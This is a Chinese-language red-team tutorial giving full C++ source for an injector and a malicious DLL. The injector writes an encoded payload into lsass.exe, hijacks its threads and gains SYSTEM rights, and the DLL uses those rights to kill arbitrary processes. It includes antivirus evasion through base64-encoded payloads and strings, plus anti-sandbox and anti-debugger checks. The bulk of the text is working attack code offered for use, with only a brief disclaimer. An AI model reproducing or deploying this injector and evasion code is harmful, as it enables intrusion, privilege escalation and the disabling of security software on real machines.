Windows R3级强杀进程
0.序言
本文旨在公布一种windows以r3权限强杀进程的方式,本文会列举具体思路以及操作步骤,最后附上完整代码,在红队安全上有所帮助,禁止违法。
1.环境
Windows 7/10/11(win 7未测试)
Visual Studio 2022 v143 c++
2.对lsass.exe的介绍
lsass.exe(Local Security Authority Subsystem Service)是Windows操作系统中的一个关键系统进程,主要负责安全策略的实施和用户认证。以下是对lsass.exe的详细介绍:
身份验证:
lsass.exe负责处理用户登录时的身份验证过程。它验证提供的凭据(如用户名和密码),确保用户是合法的并允许访问系统。
安全策略管理:
该进程还管理本地安全策略,包括用户权限和安全设置。这意味着它对用户和组的访问控制进行管理。
生成访问令牌:
一旦用户通过身份验证,lsass.exe会为用户生成一个访问令牌(Access Token),该令牌包含用户的身份和权限信息,系统的其他进程会使用这个令牌来检查用户的权限。
密码管理:
它能够处理和存储用户的密码,并提供用于身份验证的相关服务。
安全事件日志:
lsass.exe负责记录安全相关的事件到Windows安全事件日志,例如登录尝试和访问控制失败等。
且,最重要的是,lsass.exe进程权限为:system
3.总体思路:
写一个注射器,将恶意代码(如kill指定进程的)注射进lsass.exe进程,利用他的system权限,完成r3到system的转换,从而实现r3不能完成的事。那么,代码应该分为两部分,注射器和恶意dll。
4.注射器部分:
(1)头文件:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <iostream>
#include <vector>
#include <cstddef>
#include <cstring>
#include <psapi.h>
#include <crtdbg.h>
#include <locale>
#include <codecvt>
#include <stdexcept>
我们至少要包含输入输出、内存管理、字符串操作和Windows API相关功能的头文件。
如#include <tlhelp32.h>用于工具帮助,允许对进程和快照的操作。
#include <intrin.h>提供对内联汇编和特定于CPU的操作的支持。
(2)为了躲避一些杀软的检查,我们应对shellcode进行加密解密,常用的有base64等
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
// Base64编码函数
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
// ...
}
// Base64解码函数
std::string base64_decode(std::string const& encoded_string) {
// ...
}
(3)查找进程ID
int GetSystemProcessID(const wchar_t* procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hResult = Process32First(hSnapshot, &pe);
while (hResult) {
if (_wcsicmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return pid;
}
其中:
GetSystemProcessID: 接收一个进程名称,返回其对应的进程ID。
CreateToolhelp32Snapshot: 捕获系统的进程快照,允许遍历进程列表。
Process32First和Process32Next: 遍历进程信息,查找与给定名称相匹配的进程并获取其ID。
(4)解决该死的宽窄字节转换
std::wstring string_to_wstring(const std::string& str) {
std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
return converter.from_bytes(str);
}
(5)主要注入部分:
int SystemProc() {
std::string Base64String = "............"; // shellcode
std::string s = base64_decode(Base64String);
byte DLLBinCode[24817] = { 0 }; // 存放解码后的DLL二进制数据
std::memcpy(DLLBinCode, s.data(), s.length());
int DLLBinCode_len = sizeof(DLLBinCode);
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
RtlAdjustPrivilege(20, TRUE, FALSE, &t); // 尝试启用调试权限
DWORD pid = 0;
HANDLE ph = NULL; // 进程句柄
HANDLE ht = NULL; // 线程句柄
LPVOID rb = NULL; // 远程缓冲区
// 省略的逻辑代码用于获取LSASS进程ID、打开进程、分配内存、写入DLL代码等
return 0;
}
(6)锦上添花 简易反沙盒
bool checkMemory() {
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 4096)
return false;
}
bool checkCPU() {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors < 4) return false;
}
其中:
checkMemory: 检查系统物理内存是否少于4096MB,如果是,则返回false。
checkCPU: 检查系统的处理器核心数,如果少于4,则返回false。
这里我仅简单做了内存以及CPU的检测,其他检测可以根据需求加入,如
A.获取进程列表
使用Windows API,可以通过EnumProcesses函数获取所有进程的 PID,并查询其名称。代码如下:
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
void GetProcessList() {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create snapshot of processes!" << std::endl;
return;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32)) {
do {
std::wcout << L"Process Name: " << pe32.szExeFile << L" | PID: " << pe32.th32ProcessID << std::endl;
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
}
B. 获取临时文件夹中的文件和文件夹个数,使用filesystem库。代码如下
#include <iostream>
#include <filesystem>
namespace fs = std::filesystem;
void CountTempFiles() {
std::string tempPath = getenv("TEMP");
int fileCount = 0, dirCount = 0;
for (const auto& entry : fs::directory_iterator(tempPath)) {
if (fs::is_regular_file(entry)) {
fileCount++;
} else if (fs::is_directory(entry)) {
dirCount++;
}
}
std::cout << "Temporary Folder: " << tempPath << std::endl;
std::cout << "Files: " << fileCount << ", Folders: " << dirCount << std::endl;
}
C.获取CPU使用率,使用GetSystemTimes的API。代码如下
#include <windows.h>
#include <iostream>
void GetCPUUsage() {
FILETIME idleTime, kernelTime, userTime;
if (GetSystemTimes(&idleTime, &kernelTime, &userTime)) {
ULARGE_INTEGER idle, kernel, user;
idle.LowPart = idleTime.dwLowDateTime;
idle.HighPart = idleTime.dwHighDateTime;
kernel.LowPart = kernelTime.dwLowDateTime;
kernel.HighPart = kernelTime.dwHighDateTime;
user.LowPart = userTime.dwLowDateTime;
user.HighPart = userTime.dwHighDateTime;
ULONGLONG total = (kernel.QuadPart + user.QuadPart);
ULONGLONG idleTotal = idle.QuadPart;
std::cout << "CPU Usage: " << 100 - (idleTotal * 100 / total) << "%" << std::endl;
} else {
std::cerr << "Failed to get CPU usage!" << std::endl;
}
}
D.获取内存信息使用GlobalMemoryStatusEx相关的API,代码如下:
#include <windows.h>
#include <iostream>
void GetMemoryInfo() {
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
if (GlobalMemoryStatusEx(&memInfo)) {
std::cout << "Total Physical Memory: " << memInfo.ullTotalPhys / (1024 * 1024) << " MB" << std::endl;
std::cout << "Available Physical Memory: " << memInfo.ullAvailPhys / (1024 * 1024) << " MB" << std::endl;
} else {
std::cerr << "Failed to get memory information!" << std::endl;
}
}
E.获取磁盘空间,用GetDiskFreeSpaceEx,代码
#include <windows.h>
#include <iostream>
void GetDiskSpace(const std::string& drive) {
ULARGE_INTEGER freeBytesAvailable, totalBytes, totalFreeBytes;
if (GetDiskFreeSpaceEx(drive.c_str(), &freeBytesAvailable, &totalBytes, &totalFreeBytes)) {
std::cout << "Drive: " << drive << std::endl;
std::cout << "Total Space: " << totalBytes.QuadPart / (1024 * 1024 * 1024) << " GB" << std::endl;
std::cout << "Free Space: " << totalFreeBytes.QuadPart / (1024 * 1024 * 1024) << " GB" << std::endl;
} else {
std::cerr << "Failed to get disk space for drive: " << drive << std::endl;
}
}
F.获取系统启动时间,用GetTickCount64,代码如下:
#include <windows.h>
#include <iostream>
void GetSystemUptime() {
ULONGLONG uptime = GetTickCount64() / 1000; // milliseconds to seconds
std::cout << "System Uptime: " << uptime / 3600 << " hours, " << (uptime % 3600) / 60 << " minutes." << std::endl;
}
(last)进行拼接:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <iostream>
#include <vector>
#include <cstddef>
#include <cstring>
#include <psapi.h>
#include <crtdbg.h>
#include <iostream>
#include <windows.h>
#include <locale>
#include <codecvt>
#include <stdexcept>
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
bool checkMemory() {
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 4096)
return false;
}
bool checkCPU() {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors < 4) return false;
}
static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
std::string ret;
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];
while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (i = 0; (i < 4); i++)
ret += base64_chars[char_array_4[i]];
i = 0;
}
}
if (i)
{
for (j = i; j < 3; j++)
char_array_3[j] = '\0';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (j = 0; (j < i + 1); j++)
ret += base64_chars[char_array_4[j]];
while ((i++ < 3))
ret += '=';
}
return ret;
};
std::string base64_decode(std::string const& encoded_string) {
int in_len = encoded_string.size();
int i = 0;
int j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std::string ret;
while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_]; in_++;
if (i == 4) {
for (i = 0; i < 4; i++)
char_array_4[i] = base64_chars.find(char_array_4[i]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; (i < 3); i++)
ret += char_array_3[i];
i = 0;
}
}
if (i) {
for (j = i; j < 4; j++)
char_array_4[j] = 0;
for (j = 0; j < 4; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
}
return ret;
}
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled
);
// get process PID
int GetSystemProcessID(const wchar_t* procname)
{
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (_wcsicmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
std::wstring string_to_wstring(const std::string& str) {
// 使用 codecvt_utf8 来转换
std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
return converter.from_bytes(str);
}
int SystemProc() {
std::string Base64String =””;//省略
"AAA=";
std::string s = base64_decode(Base64String);
byte DLLBinCode[24817] = { 0 };
std::memcpy(DLLBinCode, s.data(), s.length());
int DLLBinCode_len = sizeof(DLLBinCode);
//unsigned int DLLBinCode_len = sizeof(DLLBinCode);
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
DWORD pid = 0; // process ID
HANDLE ph = NULL; // process handle
HANDLE ht = NULL; // thread handle
LPVOID rb = NULL; // remote buffer
HANDLE hSnapshot;
THREADENTRY32 te;
CONTEXT ct;
std::string ls = "bHNhc3MuZXhl";
std::wstring lsass = string_to_wstring(base64_decode(ls));
const wchar_t* wcs = lsass.c_str();
pid = GetSystemProcessID(wcs);
//pid = GetSystemProcessID(L"lsass.exe");
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
else {
printf("PID = %d\n", pid);
ct.ContextFlags = CONTEXT_FULL;
te.dwSize = sizeof(THREADENTRY32);
//
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}
// allocate memory buffer in the target remote process
rb = VirtualAllocEx(ph, NULL, DLLBinCode_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (rb == NULL) {
printf("VirtualAllocEx failed! exiting...\n");
return -3;
}
// write payload to memory buffer
WriteProcessMemory(ph, rb, DLLBinCode, DLLBinCode_len, NULL);
// find thread ID for hijacking
int i = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (Thread32First(hSnapshot, &te)) {
do {
if (pid == te.th32OwnerProcessID)
{
ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (ht == NULL) {
printf("OpenThread failed! exiting...\n");
return -4;
}
i++;
SuspendThread(ht);
GetThreadContext(ht, &ct);
// update register (RIP)
ct.Rip = (DWORD_PTR)rb;
SetThreadContext(ht, &ct);
ResumeThread(ht);
if (i > 4)
{
break;
}
}
} while (Thread32Next(hSnapshot, &te));
}
CloseHandle(ph);
}
return 0;
}
bool IsDebuggerPresentForProcess(HANDLE process) {
BOOL debuggerPresent = FALSE;
if (CheckRemoteDebuggerPresent(process, &debuggerPresent)) {
return debuggerPresent;
}
return false;
}
int main(int argc, char* argv[])
{
if (IsDebuggerPresent() == 0) {
SystemProc();
}
else {
printf("System error.");
return false;
}
}
5.shellcode部分:
(1)头文件
#include <windows.h>
#include <DbgHelp.h>
#include <stdio.h>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
解释:引入DbgHelp库,以便后续使用Windows系统调用和调试帮助函数。
(2)定义一个调整权限的指针
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
(3)该死的宽窄字节
{
char* m_char;
int len = WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), NULL, 0, NULL, NULL);
m_char = new char[len + 1];
WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), m_char, len, NULL, NULL);
m_char[len] = '\0';
return m_char; // 返回转换后的普通字符字符串
}
(4)查找进程ID
DWORD ID(const char* pName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL; // 如果快照失败,返回NULL
}
PROCESSENTRY32 pe = { sizeof(pe) };
for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
if (strcmp(WcharToChar(pe.szExeFile), pName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID; // 找到进程ID,返回
}
}
CloseHandle(hSnapshot);
return 0; // 未找到进程,返回0
}
(5)模拟发送崩溃信号,结束进程
BOOL TerminateProcessFromId(DWORD pid)
{
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
printf("openprocess failed...");
return FALSE; // 打开进程失败,返回FALSE
}
BOOL bRet = ::TerminateProcess(hProcess, 0);
if (bRet == 0) //失败
{
DWORD dwErr = ::GetLastError();
printf("ERROR:error no is :%d\n", dwErr);
return FALSE; // 终止进程失败,输出错误信息
}
return TRUE; // 成功终止进程,返回TRUE
}
(6)入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
AAA(); // 当DLL被加载时调用AAA函数
break;
case DLL_THREAD_ATTACH:
AAA(); // 当新线程被创建时调用AAA函数
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break; // 处理线程或进程卸载时的情况
}
return TRUE; // 返回TRUE表示处理成功
}
(last) 拼接
#include <windows.h>
#include <DbgHelp.h>
#include <stdio.h>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
char* WcharToChar(wchar_t* wc)
{
char* m_char;
int len = WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), NULL, 0, NULL, NULL);
m_char = new char[len + 1];
WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), m_char, len, NULL, NULL);
m_char[len] = '\0';
return m_char;
}
DWORD ID(const char* pName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL;
}
PROCESSENTRY32 pe = { sizeof(pe) };
for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
if (strcmp(WcharToChar(pe.szExeFile), pName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
}
CloseHandle(hSnapshot);
return 0;
}
BOOL TerminateProcessFromId(DWORD pid)
{
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
printf("openprocess failed...");
return FALSE;
}
BOOL bRet = ::TerminateProcess(hProcess, 0);
if (bRet == 0) //failed
{
DWORD dwErr = ::GetLastError();
printf("ERROR:error no is :%d\n", dwErr);
return FALSE;
}
return TRUE;
}
int AAA() {
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
while (TRUE)
{
TerminateProcessFromId(ID("calc.exe"));
Sleep(200);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
AAA();
break;
case DLL_THREAD_ATTACH:
AAA();
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}